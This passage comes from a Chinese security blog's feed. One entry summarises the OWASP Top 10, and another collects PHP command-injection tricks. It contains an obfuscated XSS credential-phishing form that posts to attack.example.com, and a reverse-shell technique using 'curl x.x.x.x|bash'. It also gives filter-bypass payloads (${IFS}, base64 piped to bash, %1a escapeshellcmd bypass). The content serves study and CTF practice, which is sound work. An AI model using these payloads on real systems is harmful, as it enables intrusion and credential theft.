attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>attack.example.com/stealPassword.php<span class="token punctuation">"</span></span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>        Username: <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>username<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span><span class="token punctuation">/></span></span>        Password: <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>password<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>password<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span><span class="token punctuation">/></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Login<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>form</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre><p>但是，精明的用户可能会注意到URL上附加了可疑文本。攻击者可能进一步混淆URL（以下示例链接分为多行以提高可读性）：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22</span></span>stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A</code></pre><p>相同的攻击字符串也可能被混淆为：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//trustedSite.example.com/welcome.php?username=&lt;script+type="text/javascript"></span></span>document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');&lt;/script></code></pre><p>这两个攻击链接都将导致页面上显示伪造的登录框，并且用户更有可能忽略URL末尾的难以理解的文本。</p><h5 id="存储型XSS"><a href="#存储型XSS" class="headerlink" title="存储型XSS"></a>存储型XSS</h5><p>CreateUser.php</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token variable">$username</span> <span class="token operator">=</span> <span class="token function">mysql_real_escape_string</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$fullName</span> <span class="token operator">=</span> <span class="token function">mysql_real_escape_string</span><span class="token punctuation">(</span><span class="token variable">$fullName</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$query</span> <span class="token operator">=</span> <span class="token function">sprintf</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Insert Into users (username,password) Values ("%s","%s","%s")'</span><span class="token punctuation">,</span> <span class="token variable">$username</span><span class="token punctuation">,</span> <span class="token function">crypt</span><span class="token punctuation">(</span><span class="token variable">$password</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token variable">$fullName</span><span class="token punctuation">)</span> <span class="token punctuation">;</span><span class="token function">mysql_query</span><span class="token punctuation">(</span><span class="token variable">$query</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>ListUsers.php</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token variable">$query</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'Select * From users Where loggedIn=true'</span><span class="token punctuation">;</span><span class="token variable">$results</span> <span class="token operator">=</span> <span class="token function">mysql_query</span><span class="token punctuation">(</span><span class="token variable">$query</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$results</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">exit</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//Print list of users to page</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;div id="userlist">Currently Active Users:'</span><span class="token punctuation">;</span><span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$row</span> <span class="token operator">=</span> <span class="token function">mysql_fetch_assoc</span><span class="token punctuation">(</span><span class="token variable">$results</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;div class="userNames">'</span><span class="token operator">.</span><span class="token variable">$row</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'fullname'</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token string single-quoted-string">'&lt;/div>'</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;/div>'</span><span class="token punctuation">;</span></code></pre><p>以上的web应用程序由两个独立的页面组成，一个页面用于创建用户的账户，另外一个页面用于列出当前登录的活动用户</p><p>攻击者可以将其名称设置为任意HTML，然后将其显示给“活动用户”页面的所有访问者。该HTML例如可以是窃取登录消息的密码。</p><p>参考：<a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)</a></p><h4 id="Prevent-6"><a href="#Prevent-6" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>使用设计上自动转义XSS的框架，例如最新的Ruby on Rails, React JS，了解每个框架的XSS保护的局限性，并适当处理未涵盖的用例</li><li>根据HTML输出中的上下文（正文，属性，JavaScript，CSS，或URL）转义不受信任的HTTP请求数据将解决XSS漏洞</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)">A7:2017-Cross-Site Scripting (XSS)</a></p><h3 id="不安全的反序列化"><a href="#不安全的反序列化" class="headerlink" title="不安全的反序列化"></a>不安全的反序列化</h3><h4 id="简介-7"><a href="#简介-7" class="headerlink" title="简介"></a>简介</h4><p>不安全的反序列化可以导致<a href="https://baike.baidu.com/item/远程代码执行漏洞/2491231?fr=aladdin">远程代码执行</a>、<a href="https://baike.baidu.com/item/重放攻击?fromtitle=重播攻击&fromid=19455997">重放攻击</a>、注入攻击或特权升级攻击</p><h4 id="Example-7"><a href="#Example-7" class="headerlink" title="Example"></a>Example</h4><p>参考本站：</p><ul><li><a href="https://www.extrader.top/posts/bb56c28a/">phar反序列化浅析</a></li><li><a href="https://www.extrader.top/posts/488d0f65/">python反序列化漏洞浅析</a></li><li><a href="https://www.extrader.top/posts/d3333ead/">ctf-反序列化</a></li></ul><h4 id="Prevent-7"><a href="#Prevent-7" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>在所有序列化对象上实施完整性检查，例如数字签名，以防止恶意创建对象或篡改数据。</li><li>在对象创建之前的反序列化过程中强制执行严格的类型约束，因为代码通常希望使用一组可定义的类。</li><li>隔离并运行可能在低特权环境中反序列化的代码。</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization">A8:2017-Insecure Deserialization</a></p><h3 id="使用含有已知漏洞的组件"><a href="#使用含有已知漏洞的组件" class="headerlink" title="使用含有已知漏洞的组件"></a>使用含有已知漏洞的组件</h3><h4 id="简介-8"><a href="#简介-8" class="headerlink" title="简介"></a>简介</h4><p><a href="https://baike.baidu.com/item/组件/6902128?fr=aladdin">组件</a>(eg：库、框架或其他软件模块)拥有应用程序相同的权限，如果应用程序中含有已知漏洞，攻击者可以利用漏洞获取数据或接管服务器。同时，使用这些组件会破坏应用程序防御，造成各种攻击产生严重的后果。</p><h4 id="Example-8"><a href="#Example-8" class="headerlink" title="Example"></a>Example</h4><p>参考本站：</p><ul><li><a href="https://www.extrader.top/posts/67caa546/">CTF-CVE</a></li></ul><p>漏洞查找：</p><p><a href="https://www.cvedetails.com/version-search.php">MITER常见漏洞和披露（CVE）搜索</a></p><p><a href="https://nvd.nist.gov/">NVD漏洞数据库</a></p><h4 id="Prevent-8"><a href="#Prevent-8" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>使用诸如<a href="https://www.mojohaus.org/versions-maven-plugin/">version</a>，<a href="https://owasp.org/www-project-dependency-check">DependencyCheck</a>，<a href="https://github.com/retirejs/retire.js/">retire.js</a>等工具，连续清点客户端和服务器端组件（例如，框架，库）的<a href="https://www.mojohaus.org/versions-maven-plugin/">版本</a>及其依赖<a href="https://github.com/retirejs/retire.js/">项</a>。持续监视<a href="https://cve.mitre.org/">CVE</a>和<a href="https://nvd.nist.gov/">NVD</a>等来源的组件中的漏洞。使用软件组成分析工具来自动化该过程。订阅电子邮件警报以获取与您使用的组件相关的安全漏洞。</li><li>仅通过安全链接从官方来源获取组件。优先选择经过签名的软件包，以减少包含经过修改的恶意组件的机会。</li><li>监视未维护的库和组件或未为旧版本创建安全补丁的组件。如果无法修补，请考虑部署<a href="https://owasp.org/www-community/Virtual_Patching_Best_Practices">虚拟修补程序</a>以监视，检测或防止发现的问题。</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities">A9:2017-Using Components with Known Vulnerabilities</a></p><h3 id="不足的日志记录和监控"><a href="#不足的日志记录和监控" class="headerlink" title="不足的日志记录和监控"></a>不足的日志记录和监控</h3><h4 id="简介-9"><a href="#简介-9" class="headerlink" title="简介"></a>简介</h4><p>不足的日志记录和监控，以及事件响应缺失或无效的集成，使攻击者能够进一步攻击系统、保持持续性的或攻击更多的系统，以及对数据的不当操作。</p><h4 id="Example-9"><a href="#Example-9" class="headerlink" title="Example"></a>Example</h4><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">function</span> <span class="token function-definition function">login</span><span class="token punctuation">(</span><span class="token variable">$userName</span><span class="token punctuation">,</span><span class="token variable">$password</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">authenticate</span><span class="token punctuation">(</span><span class="token variable">$userName</span><span class="token punctuation">,</span><span class="token variable">$password</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token constant boolean">True</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>        <span class="token function">incrementLoginAttempts</span><span class="token punctuation">(</span><span class="token variable">$userName</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">recentLoginAttempts</span><span class="token punctuation">(</span><span class="token variable">$userName</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">writeLog</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Failed login attempt by User: "</span> <span class="token operator">.</span> <span class="token variable">$userName</span> <span class="token operator">.</span> <span class="token string double-quoted-string">" at "</span> <span class="token operator">+</span> <span class="token function">date</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'r'</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>以上代码记录可疑的多次登录尝试。</p><p>此代码仅在达到特定限制时记录失败的登录尝试。如果攻击者知道此限制，则可以通过避免该限制来阻止发现攻击。</p><p>参考：<a href="https://cwe.mitre.org/data/definitions/223.html">CWE-223: Omission of Security-relevant Information</a></p><h4 id="Prevent-9"><a href="#Prevent-9" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>确保可以使用足够的用户上下文记录所有登录，访问控制失败和服务器端输入验证失败的事件，以识别可疑或恶意帐户，并保留足够的时间以进行处理。</li><li>确保以一种集中式日志管理解决方案可以轻松使用的格式生成日志。</li><li>确保高价值交易具有完整性控制的审计跟踪，以防止篡改或删除，例如仅追加数据库表或类似内容。</li><li>建立有效的监视和警报，以便及时发现并应对可疑活动。</li><li>建立或采用事件响应和恢复计划，例如<a href="https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final">NIST 800-61 rev 2</a>或更高版本。</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A10_2017-Insufficient_Logging%2526Monitoring">A10:2017-Insufficient Logging &amp; Monitoring</a></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://owasp.org/www-project-top-ten/2017/Top_10">OWASP Top 10 Application Security Risks - 2017</a></li><li><a href="https://blog.csdn.net/wang_624/article/details/89683571">OWASP Top 10 简单介绍</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://owasp.org/&quot;&gt;Owasp&lt;/a&gt; 全称 Open Web Application Security Project（开放式Web应用程序安全项目）。&lt;/p&gt;
&lt;p&gt;其中最具权威的就是其”十大安全漏洞列表”，目前正式发布的最新版本是2017年11月份发布的。&lt;/p&gt;
&lt;p&gt;以下对2017年的Top 10版本做一个归纳，例子中不全的欢迎各位大佬评论指出，后续有会添加上。&lt;/p&gt;
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="Owasp" scheme="https://www.extrader.top/tags/Owasp/"/>
    
  </entry>
  
  <entry>
    <title>php命令执行小技巧</title>
    <link href="https://www.extrader.top/posts/45c7e77/"/>
    <id>https://www.extrader.top/posts/45c7e77/</id>
    <published>2020-08-14T02:55:31.000Z</published>
    <updated>2022-03-26T05:48:50.967Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><h2 id="突破命令长度限制"><a href="#突破命令长度限制" class="headerlink" title="突破命令长度限制"></a><strong>突破命令长度限制</strong></h2><p>限制条件：长度<strong>&lt;=4</strong></p><p>限制代码：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">show_source</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">&lt;=</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>     <span class="token keyword">echo</span> <span class="token function">shell_exec</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>     <span class="token keyword">echo</span> <span class="token string double-quoted-string">"hack!!!"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><h3 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a><strong>命令执行</strong></h3><p>先看效果图：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/girls/image-20200814204553709.png" alt loading="lazy"></p><p><strong>原理</strong></p><ol><li><code>&gt;</code>后面跟的文件名，可以生成一个以这个字符串命名的文件</li><li><code>*</code>可以将文件名（按首字母排序）列出来当一行命令执行</li><li><code>*v</code>匹配当前目录下以<code>v</code>结尾的的文件名，<code>*v</code>=<code>rev v</code>，输出<code>v</code>文件内容里面内容的反序结果，<code>&gt;cat|*t</code>同理</li><li><code>dir a b&gt;c</code>只会将<code>a b</code>写到文件<code>c</code>中</li></ol><h3 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a><strong>反弹shell</strong></h3><p>先看效果图：</p><p>获取<code>ls -th &gt;g</code>命令</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/girls/image-20200814220444746.png" alt loading="lazy"></p><p>获取<code>curl x.x.x.x|bash</code>命令</p><p><code>&gt;cu\\</code>这里看着是5个字符，超过了4个的限制，实际上是因为 shell环境需要输入<code>\\</code>产生<code>\</code>，但是<code>php</code> 代码<code>exec</code>时，只需要输入<code>\</code>即可产生<code>\</code>，比如 <code>exec(&quot;&gt;cu\&quot;)</code>即可。所以这里实际上是不超过4个字符的，为了演示直观，在<code>shell</code>中直接执行</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/girls/image-20200814223956562.png" alt loading="lazy"></p><p>执行结果：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/girls/image-20200814221328388.png" alt loading="lazy"></p><p><strong>原理</strong></p><ol><li><code>ls -t</code>按时间顺序排列文件，<code>ls -th</code>不影响命令执行，为了让倒序的时候<code>ht-</code>在<code>sl</code>前面</li><li><code>\</code>  <code>linux</code>下行末加上<code>\</code>会将该行末尾与下一行行首连接起来，简单来说应该是删掉了换行符</li></ol><p>这里需要注意，文件名中不能包含<code>/</code>这个符号的，所以需要将反弹shell的服务器根目录下默认网页设置成curl下反弹shell的命令的网页</p><p>例如我ubuntu服务器的Apache默认网页设置在<code>/etc/apache2/mods-available/dir.conf</code>中，编辑如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/girls/image-20200814225408259.png" alt loading="lazy"></p><p>1.txt中为反弹shell的命令，这样即可成功执行</p><p>或者你改index.html的内容也行</p><h2 id="绕过空格"><a href="#绕过空格" class="headerlink" title="绕过空格"></a>绕过空格</h2><ul><li>${PS2} 对应字符 ‘&gt;’</li><li>${PS4} 对应字符 ‘+’</li><li>${IFS} 对应 内部字段分隔符</li><li>${9} 对应 空字符串</li></ul><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token variable">$&#123;<span class="token environment constant">IFS</span>&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">cat</span> /flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">cat</span><span class="token variable">$&#123;<span class="token environment constant">IFS</span>&#125;</span>/flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">cat</span><span class="token variable">$&#123;<span class="token environment constant">IFS</span>&#125;</span><span class="token variable">$9</span>/flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">cat</span><span class="token environment constant">$IFS</span><span class="token variable">$9</span>/flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>php下可以cat%09/flag<span class="token operator">&lt;></span>linux@Extrader:/var/www/html$ cat<span class="token operator">&lt;</span>/flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span></code></pre><h2 id="黑名单绕过"><a href="#黑名单绕过" class="headerlink" title="黑名单绕过"></a>黑名单绕过</h2><pre class="language-bash" data-language="bash"><code class="language-bash">拼接linux@Extrader:/var/www/html$ <span class="token assign-left variable">a</span><span class="token operator">=</span>c<span class="token punctuation">;</span><span class="token assign-left variable">b</span><span class="token operator">=</span>at<span class="token punctuation">;</span><span class="token assign-left variable">c</span><span class="token operator">=</span>/flag<span class="token punctuation">;</span><span class="token variable">$a</span><span class="token variable">$b</span> <span class="token variable">$c</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>base64编码linux@Extrader:/var/www/html$ <span class="token variable"><span class="token variable">`</span><span class="token builtin class-name">echo</span> <span class="token string">"Y2F0IC9mbGFn"</span><span class="token operator">|</span>base64 -d<span class="token variable">`</span></span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token builtin class-name">echo</span> <span class="token string">"Y2F0IC9mbGFn"</span><span class="token operator">|</span>base64 -d<span class="token operator">|</span><span class="token function">bash</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>单引号、双引号linux@Extrader:/var/www/html$ c<span class="token string">""</span>at /flagflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ c<span class="token string">""</span>at /fl<span class="token string">""</span>agflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ c<span class="token string">""</span>at /fl<span class="token string">''</span>agflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>反斜线 <span class="token punctuation">\</span>linux@Extrader:/var/www/html$ ca<span class="token punctuation">\</span>t /fl<span class="token punctuation">\</span>agflag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span></code></pre><h2 id="文件读取"><a href="#文件读取" class="headerlink" title="文件读取"></a>文件读取</h2><pre class="language-bash" data-language="bash"><code class="language-bash">linux@Extrader:/var/www/html$ <span class="token function">cat</span> /flag   <span class="token comment"># 连接文件并打印到标准输出设备上</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">rev</span> /flag   <span class="token comment"># 将文件内容以字符为单位反序输出</span><span class="token punctuation">&#125;</span>e32de3e34-g45t4d2-45gt532-34f32e3<span class="token punctuation">&#123;</span>galflinux@Extrader:/var/www/html$ <span class="token function">more</span> /flag  <span class="token comment"># 显示文件内容，每次显示一屏</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">tail</span> /flag  <span class="token comment"># 在屏幕上显示指定文件的末尾若干行</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">less</span> /flag  <span class="token comment"># 分屏上下翻页浏览文件内容</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">head</span> /flag  <span class="token comment"># 在屏幕上显示指定文件的开头若干行</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">tac</span> /flag   <span class="token comment"># 将文件以行为单位的反序输出</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">sort</span> /flag  <span class="token comment"># 将文件进行排序并输出</span>flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">nl</span> /flag    <span class="token comment"># 在Linux系统中计算文件内容行号</span>     <span class="token number">1</span>  flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ hexdump /flag  <span class="token comment">#显示文件十六进制格式</span>0000000 6c66 <span class="token number">6761</span> 337b <span class="token number">3265</span> <span class="token number">6633</span> <span class="token number">3334</span> 322d <span class="token number">3533</span>0000010 <span class="token number">6774</span> <span class="token number">3435</span> 322d <span class="token number">3464</span> <span class="token number">3574</span> <span class="token number">6734</span> 342d <span class="token number">6533</span>0000020 <span class="token number">6533</span> <span class="token number">3264</span> <span class="token number">6533</span> 0a7d0000028linux@Extrader:/var/www/html$ <span class="token function">cat</span> /fl*flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span>linux@Extrader:/var/www/html$ <span class="token function">cat</span> /fla?flag<span class="token punctuation">&#123;</span>3e23f43-235tg54-2d4t54g-43e3ed23e<span class="token punctuation">&#125;</span></code></pre><h2 id="绕过escapeshellcmd"><a href="#绕过escapeshellcmd" class="headerlink" title="绕过escapeshellcmd"></a>绕过escapeshellcmd</h2><p>测试代码：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token variable">$command</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'dir '</span><span class="token operator">.</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'dir'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token variable">$escaped_command</span> <span class="token operator">=</span> <span class="token function">escapeshellcmd</span><span class="token punctuation">(</span><span class="token variable">$command</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$escaped_command</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">file_put_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'out.bat'</span><span class="token punctuation">,</span><span class="token variable">$escaped_command</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'out.bat'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><p>执行<code>.bat</code>文件的时候，利用<code>%1a</code>，可以绕过过滤执行命令。</p><p>payload</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">dir</span><span class="token operator">=</span>. %1a <span class="token function">whoami</span></code></pre><h2 id="执行代码"><a href="#执行代码" class="headerlink" title="${}执行代码"></a>${}执行代码</h2><pre class="language-bash" data-language="bash"><code class="language-bash">php <span class="token operator">></span> <span class="token variable">$&#123;system('whoami')&#125;</span><span class="token punctuation">;</span>extrader<span class="token punctuation">\</span>extrader</code></pre><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a 